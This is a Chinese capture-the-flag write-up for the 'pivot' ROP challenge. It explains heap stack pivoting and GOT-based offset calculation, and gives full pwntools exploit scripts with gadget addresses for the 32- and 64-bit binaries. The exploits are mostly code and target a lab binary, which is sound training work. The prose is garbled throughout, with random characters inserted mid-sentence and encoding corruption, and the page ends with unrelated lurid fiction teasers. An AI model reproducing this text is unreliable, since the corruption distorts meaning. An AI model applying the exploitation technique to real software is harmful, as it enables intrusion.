pivot

這道題有兩次輸入乳乌,第一次輸入到堆中臭笆,第二次輸入到棧中叙淌,而且很明顯第二次的可溢出大小不夠用來構(gòu)造rop鏈秤掌,所以我們需要將rop鏈構(gòu)造在堆中,然后利用棧遷移來執(zhí)行rop鏈鹰霍。題目中也將堆的地址打印了出來 机杜,降低了不少難度。
給出的.so文件有這個函數(shù)可以用:

void __noreturn ret2win()
{
  system("/bin/cat flag.txt");
  exit(0);
}

顯然我們構(gòu)造的rop鏈要能夠控制程序跳轉(zhuǎn)到這個函數(shù)去執(zhí)行衅谷,這里需要用到計算偏移
elf函數(shù)中只有foothold_function在.so中也出現(xiàn)椒拗,而且也在got表中,所以ret2win的真實(shí)地址可以結(jié)合foothold_function算出來获黔,這里需要注意的是蚀苛,需要先將foothold_function函數(shù)調(diào)用一次,got表中才有foothold_function的真實(shí)地址玷氏。
這里說一下我踩過的坑堵未,偏移有兩種算法:
1、真實(shí)地址-libc地址
2盏触、兩個licb函數(shù)地址相減
一開始我用第一種方法算偏移渗蟹,理論上來說兩種方法都沒錯,但是因為函數(shù)需要調(diào)用一次后才能在got表中有真實(shí)地址赞辩,所以直接拿got表中的地址來當(dāng)真實(shí)地址的錯的雌芽,所以最好使用第二種方法算偏移,然后在構(gòu)造rop的時候?qū)⑵渲械囊粋€地址調(diào)用一次使得got表中有它的真實(shí)地址再拿去加偏移就能得到目標(biāo)函數(shù)的真實(shí)地址辨嗽。
exp:

from pwn import *
sh = process('./pivot32')
elf = ELF('./pivot32')
libc = ELF('./libpivot32.so')
foothold_plt     = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
foothold_sym     = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']

# offset = int(foothold_got_plt - foothold_sym)    這里就是直接用got表的地址去算偏移世落,其實(shí)是錯的,因為foothold_function函數(shù)沒有調(diào)用過糟需,got表中并不是真實(shí)地址
# offset = int(ret2win - foothold_sym)
offset = ret2win - foothold_sym
#offset = foothold_sym - ret2win    這里算偏移的時候要注意結(jié)果不能為負(fù)數(shù) 

sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")

leakaddr = int(sh.recv(10),16)    #接收題目打印出來的堆地址
print hex(leakaddr)  
pause()

add_eax_ebx = 0x080488c7
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
pop_ebx = 0x08048571
call_eax = 0x080486a3
leave_ret = 0x080486a8
payload_1 = ""
payload_1 += p32(foothold_plt)    #將foothold_function函數(shù)調(diào)用一次
payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got_plt)   #上面調(diào)用了一次這里就是真實(shí)地址了
payload_1 += p32(mov_eax_eax)
payload_1 += p32(pop_ebx)
payload_1 += p32(offset)
payload_1 += p32(add_eax_ebx)
payload_1 += p32(call_eax)

sh.sendline(payload_1)

payload_2 = ""
payload_2 += 0x28 * "A"
payload_2 += p32(leakaddr-4) + p32(leave_ret)

sh.sendline(payload_2)
sh.interactive()

64位exp:

from pwn import *
sh = process('./pivot')
elf = ELF('./pivot')
so = ELF('./libpivot.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
footold_sym = so.symbols['foothold_function']
ret2win_sym = so.symbols['ret2win']
offset = ret2win_sym - footold_sym
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
addr = int(sh.recv(14),16)
print hex(addr)
pause()
mov_rax_rax = 0x0000000000400b05 
add_rax_rbp = 0x0000000000400b09
pop_rax = 0x0000000000400b00
pop_rbp = 0x0000000000400900
pop_rdi = 0x0000000000400b73
call_rax = 0x000000000040098e
# pop_rsp_r13_r14_r15_ret = 0x0000000000400b6d
xchg_rax_rsp = 0x0000000000400b02
sh.recvuntil("> ")
payload_1 = ""
payload_1 += p64(foothold_plt)
payload_1 += p64(pop_rax) + p64(foothold_got_plt)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp) + p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
sh.sendline(payload_1)
sh.recvuntil("> ")
payload_2 = ""
payload_2 += 0x28*"A"
payload_2 += p64(pop_rax) + p64(addr) + p64(xchg_rax_rsp)
# payload_2 += p64(pop_rsp_r13_r14_r15_ret) + p64(addr) + p64(3) + p64(4) + p64(5)
sh.sendline(payload_2)

sh.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末屉佳,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子洲押,更是在濱河造成了極大的恐慌武花,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,427評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件杈帐,死亡現(xiàn)場離奇詭異体箕,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)娘荡,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,551評論 3 395
  • 文/潘曉璐 我一進(jìn)店門干旁,熙熙樓的掌柜王于貴愁眉苦臉地迎上來驶沼,“玉大人炮沐,你說我怎么就攤上這事』亓” “怎么了大年?”我有些...
    開封第一講書人閱讀 165,747評論 0 356
  • 文/不壞的土叔 我叫張陵换薄,是天一觀的道長。 經(jīng)常有香客問我翔试,道長轻要,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,939評論 1 295
  • 正文 為了忘掉前任垦缅,我火速辦了婚禮冲泥,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘壁涎。我一直安慰自己凡恍,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,955評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般钟沛。 火紅的嫁衣襯著肌膚如雪奴艾。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,737評論 1 305
  • 那天糯俗,我揣著相機(jī)與錄音,去河邊找鬼。 笑死涎跨,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的崭歧。 我是一名探鬼主播六敬,決...
    沈念sama閱讀 40,448評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼驾荣!你這毒婦竟也來了外构?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,352評論 0 276
  • 序言:老撾萬榮一對情侶失蹤播掷,失蹤者是張志新(化名)和其女友劉穎审编,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體歧匈,經(jīng)...
    沈念sama閱讀 45,834評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡垒酬,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,992評論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了件炉。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片勘究。...
    茶點(diǎn)故事閱讀 40,133評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖斟冕,靈堂內(nèi)的尸體忽然破棺而出口糕,到底是詐尸還是另有隱情,我是刑警寧澤磕蛇,帶...
    沈念sama閱讀 35,815評論 5 346
  • 正文 年R本政府宣布景描,位于F島的核電站十办,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏超棺。R本人自食惡果不足惜向族,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,477評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望棠绘。 院中可真熱鬧件相,春花似錦、人聲如沸氧苍。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,022評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽候引。三九已至侯养,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間澄干,已是汗流浹背逛揩。 一陣腳步聲響...
    開封第一講書人閱讀 33,147評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留麸俘,地道東北人辩稽。 一個月前我還...
    沈念sama閱讀 48,398評論 3 373
  • 正文 我出身青樓,卻偏偏與公主長得像从媚,于是被迫代替她去往敵國和親逞泄。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,077評論 2 355

推薦閱讀更多精彩內(nèi)容